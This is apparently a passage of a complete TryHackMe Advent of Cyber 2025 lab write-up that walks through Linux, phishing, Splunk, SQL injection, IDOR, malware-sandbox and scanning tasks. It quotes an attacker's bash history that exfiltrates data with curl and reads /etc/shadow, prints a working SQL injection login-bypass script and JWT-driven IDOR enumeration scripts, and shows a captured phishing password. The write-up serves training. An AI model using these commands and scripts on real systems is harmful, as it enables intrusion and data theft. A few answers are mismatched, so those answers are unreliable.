            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j-UXr1z0hRezuBZDEZIeDg.jpeg" /></figure><h3>Advent of Cyber 2025 — Complete Writeup</h3><p>This is a combined and complete writeup for the TryHackMe event — Advent of Cyber 2025</p><p><strong>Note:</strong></p><ul><li>It contains answers to all the tasks and most bonus questions (not all).</li><li>The questions are shortened for a cleaner view.</li><li>Questions that are straightforward will only have answers attached. Such questions can be easily answered by reading the documentation given in the room.</li></ul><h2>Linux CLI — Shells Bells</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Linux CLI</h2><h4>1) Which CLI command would you use to list a directory?</h4><p><strong>Ans:</strong> ls</p><h4>2) What flag did you see inside of the McSkidy’s guide?</h4><p><em>The question hints us to look into guides. A simple </em><em>ls command shows us that there is a </em><em>Guides folder. We can </em><em>cd into it.</em></p><p><em>ls did not return anything so I decided to use </em><em>ls -a.</em></p><pre>mcskidy@tbfc-web01:~/Guides$ ls -a<br>.  ..  .guide.txt<br>mcskidy@tbfc-web01:~/Guides$ cat .guide.txt <br>I think King Malhare from HopSec Island is preparing for an attack.<br>Not sure what his goal is, but Eggsploits on our servers are not good.<br>Be ready to protect Christmas by following this Linux guide:</pre><pre>Check /var/log/ and grep inside, let the logs become your guide.<br>Look for eggs that want to hide, check their shells for what&#39;s inside!</pre><pre>P.S. Great job finding the guide. Your flag is:<br>-----------------------------------------------<br>THM{learning-linux-cli}<br>-----------------------------------------------</pre><p><strong>Ans:</strong> THM{learning-linux-cli}</p><h4>3) Which command helped you filter the logs for failed logins?</h4><p><strong>Ans:</strong> grep</p><h4>4) What flag did you see inside the Eggstrike script?</h4><p><em>Ensure you are in the right directory and </em><em>cat the file.</em></p><pre>mcskidy@tbfc-web01:/home/socmas/2025$ cat eggstrike.sh <br># Eggstrike v0.3<br># © 2025, Sir Carrotbane, HopSec<br>cat wishlist.txt | sort | uniq &gt; /tmp/dump.txt<br>rm wishlist.txt &amp;&amp; echo &quot;Chistmas is fading...&quot;<br>mv eastmas.txt wishlist.txt &amp;&amp; echo &quot;EASTMAS is invading!&quot;</pre><pre># Your flag is:<br># THM{sir-carrotbane-attacks}</pre><p><strong>Ans:</strong> grep</p><h4>5) Which command would you run to switch to the root user?</h4><p><strong>Ans:</strong> sudo su</p><h4>6) Finally, what flag did Sir Carrotbane leave in the root bash history?</h4><p><em>Switch to the root user, ensure you are in the root directory and </em><em>cat the file.</em></p><pre>root@tbfc-web01:~$ ls -a<br>.              .bashrc.bak  .launchpadlib  .selected_editor  fix_passfrag_backups_20251111162618<br>..             .cache       .local         .ssh              snap<br>.bash_history  .config      .profile       .viminfo<br>.bashrc        .dbus        .profile.bak   .vnc<br>root@tbfc-web01:~$ cat .bash_history <br>whoami<br>cd ~<br>ll <br>nano .ssh/authorized_keys <br>curl --data &quot;@/tmp/dump.txt&quot; http://files.hopsec.thm/upload<br>curl --data &quot;%qur\(tq_` :D AH?65P&quot; http://red.hopsec.thm/report<br>curl --data &quot;THM{until-we-meet-again}&quot; http://flag.hopsec.thm<br>pkill tbfcedr<br>cat /etc/shadow<br>cat /etc/hosts<br>exit</pre><p><strong>Ans:</strong> THM{until-we-meet-again}</p><p>That was a bit too easy. Let’s do the side quest !</p><p><em>Viewing the file in the specified directory mentioned in the task, this is what we get:</em></p><pre>mcskidy@tbfc-web01:~/Documents$ cat read-me-please.txt <br>From: mcskidy<br>To: whoever finds this</pre><pre>I had a short second when no one was watching. I used it.</pre><pre>I&#39;ve managed to plant a few clues around the account.<br>If you can get into the user below and look carefully,<br>those three little &quot;easter eggs&quot; will combine into a passcode<br>that unlocks a further message that I encrypted in the<br>/home/eddi_knapp/Documents/ directory.<br>I didn&#39;t want the wrong eyes to see it.</pre><pre>Access the user account:<br>username: eddi_knapp<br>password: S0mething1Sc0ming</pre><pre>There are three hidden easter eggs.<br>They combine to form the passcode to open my encrypted vault.</pre><pre>Clues (one for each egg):</pre><pre>1)<br>I ride with your session, not with your chest of files.<br>Open the little bag your shell carries when you arrive.</pre><pre>2)<br>The tree shows today; the rings remember yesterday.<br>Read the ledger’s older pages.</pre><pre>3)<br>When pixels sleep, their tails sometimes whisper plain words.<br>Listen to the tail.</pre><pre>Find the fragments, join them in order, and use the resulting passcode<br>to decrypt the message I left. Be careful — I had to be quick,<br>and I left only enough to get help.</pre><pre>~ McSkidy</pre><p><em>Let’s switch to the account use </em><em>su eddi_knapp and enter the password</em></p><p><em>The first clue hinted something to do with shell environment so I decided to go to the user’s root directory.</em></p><pre>eddi_knapp@tbfc-web01:~$ ls -a<br>.             .image_meta           .secret_git      Public<br>..            .lesshst              .secret_git.bak  Templates<br>.bash_logout  .local                .viminfo         Videos<br>.bashrc       .pam_environment      Desktop          fix_passfrag_backups_20251111162432<br>.bashrc.bak   .pam_environment.bak  Documents        wget-log<br>.cache        .profile              Downloads<br>.config       .profile.bak          Music<br>.gnupg        .secret               Pictures</pre><p><em>I decided to view the contents of </em><em>.bashrc and this is what I found at the end of the file:</em></p><pre># enable programmable completion features (you don&#39;t need to enable<br># this, if it&#39;s already enabled in /etc/bash.bashrc and /etc/profile<br># sources /etc/bash.bashrc).<br>if ! shopt -oq posix; then<br>  if [ -f /usr/share/bash-completion/bash_completion ]; then<br>    . /usr/share/bash-completion/bash_completion<br>  elif [ -f /etc/bash_completion ]; then<br>    . /etc/bash_completion<br>  fi<br>fi<br>export PASSFRAG1=&quot;3ast3r&quot;</pre><p><em>The first part of the password is </em><em>3ast3r</em></p><p><em>The second hint is a bit hard to comprehend i’ll be honest but after a lot of messing around i found a </em><em>.secret_git directory and the whole trees and history made sense.</em></p><p><em>The following series of command shows what I did</em></p><pre>eddi_knapp@tbfc-web01:~/.secret_git/.git$ git log -p<br>commit e924698378132991ee08f050251242a092c548fd (HEAD -&gt; master)<br>Author: mcskiddy &lt;mcskiddy@robco.local&gt;<br>Date:   Thu Oct 9 17:20:11 2025 +0000</pre><pre>    remove sensitive note</pre><pre>diff --git a/secret_note.txt b/secret_note.txt<br>deleted file mode 100755<br>index 060736e..0000000<br>--- a/secret_note.txt<br>+++ /dev/null<br>@@ -1,5 +0,0 @@<br>-========================================<br>-Private note from McSkidy<br>-========================================<br>-We hid things to buy time.<br>-PASSFRAG2: -1s-</pre><pre>commit d12875c8b62e089320880b9b7e41d6765818af3d<br>Author: McSkidy &lt;mcskiddy@tbfc.local&gt;<br>Date:   Thu Oct 9 17:19:53 2025 +0000</pre><pre>    add private note</pre><pre>diff --git a/secret_note.txt b/secret_note.txt<br>new file mode 100755<br>index 0000000..060736e<br>--- /dev/null<br>+++ b/secret_note.txt<br>@@ -0,0 +1,5 @@<br>+========================================<br>+Private note from McSkidy<br>+========================================<br>+We hid things to buy time.<br>+PASSFRAG2: -1s-</pre><blockquote>git log -p = commit messages + all changed lines</blockquote><p><em>The second part of the password is </em><em>-1s-</em></p><p><em>The third clue is very easy. The first thing that came to my mind. when I saw </em><em>pixels is a picture.</em></p><pre>eddi_knapp@tbfc-web01:~/Pictures$ ls -a<br>.                  conference_badge.jpg  office_building.png   screenshot_2025-06-01.png<br>..                 easter.png            photo_meta_1.txt      scuffed_1.jpg<br>.easter_egg        family_holiday.jpg    photo_meta_2.txt      scuffed_2.jpg<br>.hidden_pic_1.png  holiday_card.jpg      photo_meta_3.txt      scuffed_3.jpg<br>.hidden_pic_2.png  kids_playground.jpg   profile_pic.png       vacation_beach.jpg<br>.hidden_pic_3.png  large_photo_1.jpg     random_image_001.png  wallpaper_autumn.png<br>.hidden_pic_4.png  large_photo_2.jpg     random_image_002.jpg  wallpaper_spring.png<br>.hidden_pic_5.png  large_photo_3.jpg     receipt_scan.jpg      work_event.png<br>banner_01.jpg      logo_asset.png        scenery_01.png<br>banner_02.png      meme_asset.png        scenery_02.jpg<br>eddi_knapp@tbfc-web01:~/Pictures$ cat .easter_egg <br>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@@@%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@@#+==+*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@%+=+*++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@*++**+#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@%%#*====+#%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@#*===-===#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@%*++:-+====*%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@%*===++++===-+*#######%%@@@@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@%*+===+++==::-=========+*#%@@@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@%%#**+======-:-==--==-==+*%@@@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@%*+======---=+===------=#%@@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@%**+=-=====-==+==-====--=*%@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@%***+++==--=====+=----=-=#@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@%#**++=--=====++====----*@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@@%*+=-:=++**++**+=-::--*@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@@@#+=:.+#***=*#=--::-=-=%@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@%%*+-:+%#+++=++=:::==--*%@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@%*+=--*@#++===::::::::=#%@@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@%%%##*#%%%####***#*#####%%@@@@@@@@@@@@<br>@@@@@@@@@@@@@@@@@@@@@@@@@%%###%%%%%%%%%%##%%##%%@@@@@@@@@@@@</pre><pre>~~ HAPPY EASTER ~~~<br>PASSFRAG3: c0M1nG</pre><p><em>The second part of the password is </em><em>c0M1nG</em></p><p><em>The combined password is </em><em>3ast3r-1s-c0M1nG</em></p><p><em>I remembered seeing a </em><em>gpg file in the </em><em>Documents folder so I decided to decrypt it with the password</em></p><pre>eddi_knapp@tbfc-web01:~/Documents$ gpg --passphrase &#39;3ast3r-1s-c0M1nG&#39; -d mcskidy_note.txt.gpg<br>gpg: AES256.CFB encrypted data<br>gpg: encrypted with 1 passphrase<br>Congrats — you found all fragments and reached this file.</pre><pre>Below is the list that should be live on the site. If you replace the contents of<br>/home/socmas/2025/wishlist.txt with this exact list (one item per line, no numbering),<br>the site will recognise it and the takeover glitching will stop. Do it — it will save the site.</pre><pre>Hardware security keys (YubiKey or similar)<br>Commercial password manager subscriptions (team seats)<br>Endpoint detection &amp; response (EDR) licenses<br>Secure remote access appliances (jump boxes)<br>Cloud workload scanning credits (container/image scanning)<br>Threat intelligence feed subscription</pre><pre>Secure code review / SAST tool access<br>Dedicated secure test lab VM pool<br>Incident response runbook templates and playbooks<br>Electronic safe drive with encrypted backups</pre><pre>A final note — I don&#39;t know exactly where they have me, but there are *lots* of eggs<br>and I can smell chocolate in the air. Something big is coming.  — McSkidy</pre><pre>---</pre><pre>When the wishlist is corrected, the site will show a block of ciphertext. This ciphertext can be decrypted with the following unlock key:</pre><pre>UNLOCK_KEY: 91J6X7R4FQ9TQPM9JX2Q9X2Z</pre><pre>To decode the ciphertext, use OpenSSL. For instance, if you copied the ciphertext into a file /tmp/website_output.txt you could decode using the following command:</pre><pre>cat &gt; /tmp/website_output.txt<br>openssl enc -d -aes-256-cbc -pbkdf2 -iter 200000 -salt -base64 -in /tmp/website_output.txt -out /tmp/decoded_message.txt -pass pass:&#39;91J6X7R4FQ9TQPM9JX2Q9X2Z&#39;<br>cat /tmp/decoded_message.txt</pre><pre>Sorry to be so convoluted, I couldn&#39;t risk making this easy while King Malhare watches. — McSkidy</pre><p><em>I replaced the wishlist and accessed the website:</em></p><pre>cat &gt; /home/socmas/2025/wishlist.txt &lt;&lt; &#39;EOF&#39;<br>Hardware security keys (YubiKey or similar)<br>Commercial password manager subscriptions (team seats)<br>Endpoint detection &amp; response (EDR) licenses<br>Secure remote access appliances (jump boxes)<br>Cloud workload scanning credits (container/image scanning)<br>Threat intelligence feed subscription<br>Secure code review / SAST tool access<br>Dedicated secure test lab VM pool<br>Incident response runbook templates and playbooks<br>Electronic safe drive with encrypted backups<br>EOF</pre><p><em>The ciphertext:</em> U2FsdGVkX1/7xkS74RBSFMhpR9Pv0PZrzOVsIzd38sUGzGsDJOB9FbybAWod5HMsa+WIr5HDprvK6aFNYuOGoZ60qI7axX5Qnn1E6D+BPknRgktrZTbMqfJ7wnwCExyU8ek1RxohYBehaDyUWxSNAkARJtjVJEAOA1kEOUOah11iaPGKxrKRV0kVQKpEVnuZMbf0gv1ih421QvmGucErFhnuX+xv63drOTkYy15s9BVCUfKmjMLniusI0tqs236zv4LGbgrcOfgir+P+gWHc2TVW4CYszVXlAZUg07JlLLx1jkF85TIMjQ3B91MQS+btaH2WGWFyakmqYltz6jB5DOSCA6AMQYsqLlx53ORLxy3FfJhZTl9iwlrgEZjJZjDoXBBMdlMCOjKUZfTbt3pnlHWEaGJD7NoTgywFsIw5cz7hkmAMxAIkNn/5hGd/S7mwVp9h6GmBUYDsgHWpRxvnjh0s5kVD8TYjLzVnvaNFS4FXrQCiVIcp1ETqicXRjE4T0MYdnFD8h7og3ZlAFixM3nYpUYgKnqi2o2zJg7fEZ8c=</p><p><em>I created a new file with </em><em>touch and added the ciphertext and then proceeded to follow the instructions left in the note.</em></p><pre>eddi_knapp@tbfc-web01:~/Documents$ cat ciphertext.txt <br>U2FsdGVkX1/7xkS74RBSFMhpR9Pv0PZrzOVsIzd38sUGzGsDJOB9FbybAWod5HMsa+WIr5HDprvK6aFNYuOGoZ60qI7axX5Qnn1E6D+BPknRgktrZTbMqfJ7wnwCExyU8ek1RxohYBehaDyUWxSNAkARJtjVJEAOA1kEOUOah11iaPGKxrKRV0kVQKpEVnuZMbf0gv1ih421QvmGucErFhnuX+xv63drOTkYy15s9BVCUfKmjMLniusI0tqs236zv4LGbgrcOfgir+P+gWHc2TVW4CYszVXlAZUg07JlLLx1jkF85TIMjQ3B91MQS+btaH2WGWFyakmqYltz6jB5DOSCA6AMQYsqLlx53ORLxy3FfJhZTl9iwlrgEZjJZjDoXBBMdlMCOjKUZfTbt3pnlHWEaGJD7NoTgywFsIw5cz7hkmAMxAIkNn/5hGd/S7mwVp9h6GmBUYDsgHWpRxvnjh0s5kVD8TYjLzVnvaNFS4FXrQCiVIcp1ETqicXRjE4T0MYdnFD8h7og3ZlAFixM3nYpUYgKnqi2o2zJg7fEZ8c=<br>eddi_knapp@tbfc-web01:~/Documents$ openssl enc -d -aes-256-cbc -pbkdf2 -iter 200000 -salt -base64 -in ciphertext.txt -out decoded_message.txt -pass pass:&#39;91J6X7R4FQ9TQPM9JX2Q9X2Z&#39;<br>eddi_knapp@tbfc-web01:~/Documents$ ls<br>ciphertext.txt  decoded_message.txt  mcskidy_note.txt.gpg  notes_on_photos.txt<br>eddi_knapp@tbfc-web01:~/Documents$ cat decoded_message.txt <br>Well done — the glitch is fixed. Amazing job going the extra mile and saving the site. Take this flag THM{w3lcome_2_A0c_2025}</pre><pre>NEXT STEP:<br>If you fancy something a little...spicier....use the FLAG you just obtained as the passphrase to unlock:<br>/home/eddi_knapp/.secret/dir</pre><pre>That hidden directory has been archived and encrypted with the FLAG.<br>Inside it you&#39;ll find the sidequest key.</pre><p><em>The flag: </em><em>THM{w3lcome_2_A0c_2025}</em></p><p><em>Inside the </em><em>.secret there was an encrypted directory which I decrypted and then extracted:</em></p><pre>gpg --batch --passphrase &#39;THM{w3lcome_2_A0c_2025}&#39; -d dir.tar.gz.gpg | tar -xzv</pre><pre>eddi_knapp@tbfc-web01:~/.secret/dir$ ls<br>sq1.png</pre><p><em>I tired opening it wit h</em><em>xdg-open but I couldn&#39;t due to permission errors. So I had to switch to </em><em>mcskidy user then elevate my privileges to </em><em>root. After doing so, I was able to open the image.</em></p><p><em>The text displayed: </em><em>now_you_see_me</em></p><p>To keep things organised, the SQ1 writeup is in a different article linked here.</p><h2>Phishing — Merry Clickmas</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Phishing Exercise for TBFC</h2><h4>1) What is the password used to access the TBFC portal?</h4><p><em>This one is pretty straight forward, just follow the instructions given in the task and you shoud get a response in your server</em></p><pre>Starting server on http://0.0.0.0:8000<br>127.0.0.1 - - [02/Dec/2025 17:19:08] &quot;GET / HTTP/1.1&quot; 200 -<br>127.0.0.1 - - [02/Dec/2025 17:19:08] &quot;GET /favicon.ico HTTP/1.1&quot; 404 -<br>127.0.0.1 - - [02/Dec/2025 17:24:01] &quot;GET / HTTP/1.1&quot; 200 -<br>10.48.170.53 - - [02/Dec/2025 17:24:02] &quot;GET / HTTP/1.1&quot; 200 -<br>[2025-12-02 17:24:02] Captured -&gt; username: admin    password: unranked-wisdom-anthem    from: 10.48.170.53</pre><p><strong>Ans:</strong> unranked-wisdom-anthem</p><h4>2) What is the total number of toys expected for delivery?</h4><p><em>Navigate to </em><em>http://10.48.170.53, enter </em><em>factory as the username and </em><em>unranked-wisdom-anthem as the password.</em></p><p><em>Check the second mail’s title for the amount.</em></p><p><strong>Ans:</strong> 1984000</p><h2>Splunk Basics — Did you SIEM?</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Log Analysis with Splunk</h2><h4>1) What is the attacker IP found attacking and compromising the web server?</h4><p><em>The Suspicious IP got by filtering is </em><em>198.51.100.55</em></p><p><strong>Ans:</strong> 198.51.100.55</p><h4>2) Which day was the peak traffic in the logs?</h4><p><em>Run the following query and use </em><em>Visualization:</em></p><pre>index=main sourcetype=web_traffic | timechart span=1d count | sort by count | reverse</pre><p><strong>Ans:</strong> 198.51.100.55</p><h4>3) What is the count of Havij user_agent events found in the logs?</h4><p><em>Run the following query:</em></p><pre>sourcetype=&quot;web_traffic&quot; user_agent=&quot;Havij/1.17 (Automated SQL Injection)&quot; <br>| stats count</pre><p><strong>Ans:</strong> 993</p><h4>4) How many path traversal attempts to access sensitive files…?</h4><p><em>The sensitive path in question is </em><em>../../ Run the following query:</em></p><pre>sourcetype=web_traffic client_ip=&quot;198.51.100.55&quot; AND path=&quot;*..\/..\/*&quot; | stats count by path</pre><p><strong>Ans:</strong> 658</p><h4>5) How many bytes were transferred to the C2 server IP from the…?</h4><p><em>Run the following query:</em></p><pre>sourcetype=firewall_logs src_ip=&quot;10.10.1.5&quot; AND dest_ip=&quot;198.51.100.55&quot; AND action=&quot;ALLOWED&quot; | stats sum(bytes_transferred) by src_ip</pre><p><strong>Ans:</strong> 126167</p><h2>AI in Security — old sAInt nick</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — AI for Cyber Security Showcase</h2><h4>1) What flag is provided in the script’s output after it?</h4><p><em>Interact with the AI to get the script. I’ve pasted the script below. Make sure to enter the IP of the machine and run the script.</em></p><pre>import requests</pre><pre># Set up the login credentials<br>username = &quot;alice&#39; OR 1=1 -- -&quot;<br>password = &quot;test&quot;</pre><pre># URL to the vulnerable login page<br>url = &quot;http://MACHINE_IP:5000/login.php&quot;</pre><pre># Set up the payload (the input)<br>payload = {<br>    &quot;username&quot;: username,<br>    &quot;password&quot;: password<br>}</pre><pre># Send a POST request to the login page with our payload<br>response = requests.post(url, data=payload)</pre><pre># Print the response content<br>print(&quot;Response Status Code:&quot;, response.status_code)<br>print(&quot;\nResponse Headers:&quot;)<br>for header, value in response.headers.items():<br>    print(f&quot;  {header}: {value}&quot;)<br>print(&quot;\nResponse Body:&quot;)<br>print(response.text)</pre><pre>python3 script.py <br>Response Status Code: 200</pre><pre>Response Headers:<br>  Date: Thu, 04 Dec 2025 18:26:06 GMT<br>  Server: Apache/2.4.65 (Debian)<br>  X-Powered-By: PHP/8.1.33<br>  Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>  Cache-Control: no-store, no-cache, must-revalidate<br>  Pragma: no-cache<br>  Vary: Accept-Encoding<br>  Content-Encoding: gzip<br>  Content-Length: 540<br>  Keep-Alive: timeout=5, max=99<br>  Connection: Keep-Alive<br>  Content-Type: text/html; charset=UTF-8</pre><pre>Response Body:<br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>    &lt;title&gt;Dashboard - SQLi Lab&lt;/title&gt;<br>    &lt;link href=&quot;assets/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;<br>    &lt;link href=&quot;assets/css/style.css&quot; rel=&quot;stylesheet&quot;&gt;<br>&lt;/head&gt;<br>&lt;body class=&quot;dashboard-body&quot;&gt;<br>    &lt;div class=&quot;dashboard-container&quot;&gt;<br>        &lt;div class=&quot;welcome-banner&quot;&gt;<br>            &lt;h1&gt;Welcome, admin!&lt;/h1&gt;<br>            &lt;p&gt;You have successfully logged in to the system.&lt;/p&gt;<br>        &lt;/div&gt;<br>        <br>        <br>        &lt;div class=&quot;alert alert-success alert-dismissible fade show&quot; role=&quot;alert&quot;&gt;<br>            &lt;h4 class=&quot;alert-heading&quot;&gt;Exploit Successful!&lt;/h4&gt;<br>            &lt;hr&gt;<br>            &lt;p class=&quot;mb-0&quot;&gt;&lt;code&gt;FLAG: THM{SQLI_EXPLOIT}&lt;/code&gt;&lt;/p&gt;<br>            &lt;button type=&quot;button&quot; class=&quot;btn-close&quot; data-bs-dismiss=&quot;alert&quot; aria-label=&quot;Close&quot;&gt;&lt;/button&gt;<br>        &lt;/div&gt;<br>        <br>        &lt;a href=&quot;logout.php&quot; class=&quot;btn btn-danger&quot;&gt;Logout&lt;/a&gt;<br>    &lt;/div&gt;<br>    <br>    &lt;script src=&quot;assets/js/bootstrap.bundle.min.js&quot;&gt;&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>Ans:</strong> THM{SQLI_EXPLOIT}</p><h4>2) Complete the AI showcase by progressing through all of the stages…?</h4><p><em>Just keep interacting with the AI. Not too hard really.</em></p><p><strong>Ans:</strong> THM{AI_MANIA}</p><h2>IDOR — Santa’s Little IDOR</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — IDOR on the Shelf</h2><h4>1) What does IDOR stand for?</h4><p><strong>Ans:</strong> Insecure Direct Object Reference</p><h4>2) What type of privilege escalation are most IDOR cases?</h4><p><strong>Ans:</strong> Horizontal</p><h4>3) what is the user_id of the parent that has 10 children?</h4><p><em>I was too lazy to check each uid so I got a script made using javascript</em></p><pre>(async function(){<br>  const token = &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEwLCJyb2xlIjoxLCJleHAiOjE3NjQ5NjAxNTJ9.hpelb3QtWt-RN236_M8lotSeFLjP2hYjozPEHK5DM9A&quot;;</pre><pre>  for (let uid = 1; uid &lt;= 50; uid++) {<br>    const res = await fetch(<br>      &quot;http://10.49.130.205/api/parents/view_accountinfo?user_id=&quot; + uid,<br>      {<br>        headers: {<br>          &quot;Authorization&quot;: &quot;Bearer &quot; + token<br>        }<br>      }<br>    );</pre><pre>    if (!res.ok) continue;<br>    const data = await res.json();</pre><pre>    const count = (data.children || []).length;<br>    console.log(&quot;uid&quot;, uid, count);</pre><pre>    if (count === 10) {<br>      console.log(&quot;uid:&quot;, uid);<br>      console.log(data);<br>      break;<br>    }<br>  }<br>})();</pre><p><em>You can run the code on console and get the uid</em></p><p><strong>Ans:</strong> 15</p><h4>4) Find the id_number of the child born on 2019-04-17?</h4><p><em>I was too lazy to check each uid so I got a script made using javascript…again</em></p><pre>(async function () {<br>  const token = &quot;Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEwLCJyb2xlIjoxLCJleHAiOjE3NjQ5NjAxNTJ9.hpelb3QtWt-RN236_M8lotSeFLjP2hYjozPEHK5DM9A&quot;;</pre><pre>  for (let id = 1; id &lt;= 50; id++) {<br>    const encoded = btoa(String(id));</pre><pre>    const res = await fetch(<br>      &quot;http://10.49.130.205/api/child/b64/&quot; + encoded,<br>      {<br>        headers: {<br>          &quot;Authorization&quot;: token<br>        }<br>      }<br>    );</pre><pre>    if (!res.ok) {<br>      continue;<br>    }</pre><pre>    const data = await res.json();</pre><pre>    if (data.birthdate === &quot;2019-04-17&quot;) {<br>      console.log(&quot;Child index:&quot;, id);<br>      console.log(&quot;Base64:&quot;, encoded);<br>      console.log(&quot;Child info:&quot;, data);<br>      break;<br>    }<br>  }<br>})();</pre><p><em>You can run the code on console and get the </em><em>id_number</em></p><p><strong>Ans:</strong> 19</p><h4>5) Bonus Task: Want to go even further?</h4><p><em>Haven’t come around to solve this one yet…</em></p><h2>Malware Analysis — Egg-xecutable</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Malware Analysis Using Sandboxes</h2><p><em>For most of these questions just follow the instructions given in the task</em></p><h4>1) What is the SHA256Sum of the HopHelper.exe?</h4><p><strong>Ans:</strong> F29C270068F865EF4A747E2683BFA07667BF64E768B38FBB9A2750A3D879CA33</p><h4>2) What is that flag value?</h4><p><em>Sorting the </em><em>size (bytes) column in descending order makes this easier.</em></p><p><strong>Ans:</strong> THM{STRINGS_FOUND}</p><h4>3) What registry value has the HopHelper.exe modified for persistence?</h4><p><em>Just a tip, do not select html as the format for logs, this the formatting is all messed up. I tried looking for the </em><em>HopHelper in the logs and that narrowed things down.</em></p><p><strong>Ans:</strong> HKU\S-1-5-21-1966530601-3185510712-10604624-1008\Software\Microsoft\Windows\CurrentVersion\Run\HopHelper</p><h4>4) What network protocol is HopHelper.exe using to communicate?</h4><p><em>I filtered for </em><em>TCP Connect and this is what I found:</em></p><pre>breachblocker-sandbox:49961 -&gt; breachblocker-sandbox:http</pre><p><strong>Ans:</strong> http</p><h2>Network Discovery — Scan-ta Clause</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Discover Network Services</h2><h4>1) What evil message do you see on top of the website?</h4><p>*Conduct the nmap scan and visit the website on port 80 *</p><pre>nmap 10.48.158.111<br>Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-07 16:30 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.48.158.111<br>Host is up (0.00067s latency).<br>Not shown: 998 filtered ports<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http</pre><p><strong>Ans:</strong> Pwned by HopSec</p><h4>2) What is the first key part found on the FTP server?</h4><p><em>Conduct the </em><em>nmap scan and </em><em>FTP into the server on the port </em><em>21212</em></p><pre>nmap -p- --script=banner  10.48.158.111<br>Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-07 16:36 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.48.158.111<br>Host is up (0.00033s latency).<br>Not shown: 65531 filtered ports<br>PORT      STATE SERVICE<br>22/tcp    open  ssh<br>|_banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14<br>80/tcp    open  http<br>21212/tcp open  trinket-agent<br>|_banner: 220 (vsFTPd 3.0.5)<br>25251/tcp open  unknown<br>|_banner: TBFC maintd v0.2\x0AType HELP for commands.</pre><p><em>You can follow the commands here to view the file contents:</em></p><pre>ftp 10.48.158.111 21212<br>Connected to 10.48.158.111.<br>220 (vsFTPd 3.0.5)<br>Name (10.48.158.111:root): anonymous<br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; get tbfc_qa_key1 -<br>remote: tbfc_qa_key1<br>200 PORT command successful. Consider using PASV.<br>150 Opening BINARY mode data connection for tbfc_qa_key1 (13 bytes).<br>KEY1:3aster_<br>226 Transfer complete.<br>13 bytes received in 0.00 secs (28.0250 kB/s)<br>ftp&gt;</pre><p><strong>Ans:</strong> 3aster_</p><h4>3) What is the second key part found in the TBFC app?</h4><p><em>Just a tip here — If you get </em><em>not armed when you type </em><em>GET KEY just reconnect.</em></p><pre>root@ip-10-48-76-53:~# nc -v 10.48.158.111 25251<br>Connection to 10.48.158.111 25251 port [tcp/*] succeeded!<br>TBFC maintd v0.2<br>Type HELP for commands.<br>HELP<br>Commands: HELP, STATUS, GET KEY, QUIT<br>GET KEY<br>KEY2:15_th3_</pre><p><strong>Ans:</strong> 15_th3_</p><h4>4) What is the third key part found in the DNS records?</h4><pre>root@ip-10-48-76-53:~# dig @10.48.158.111 TXT key3.tbfc.local 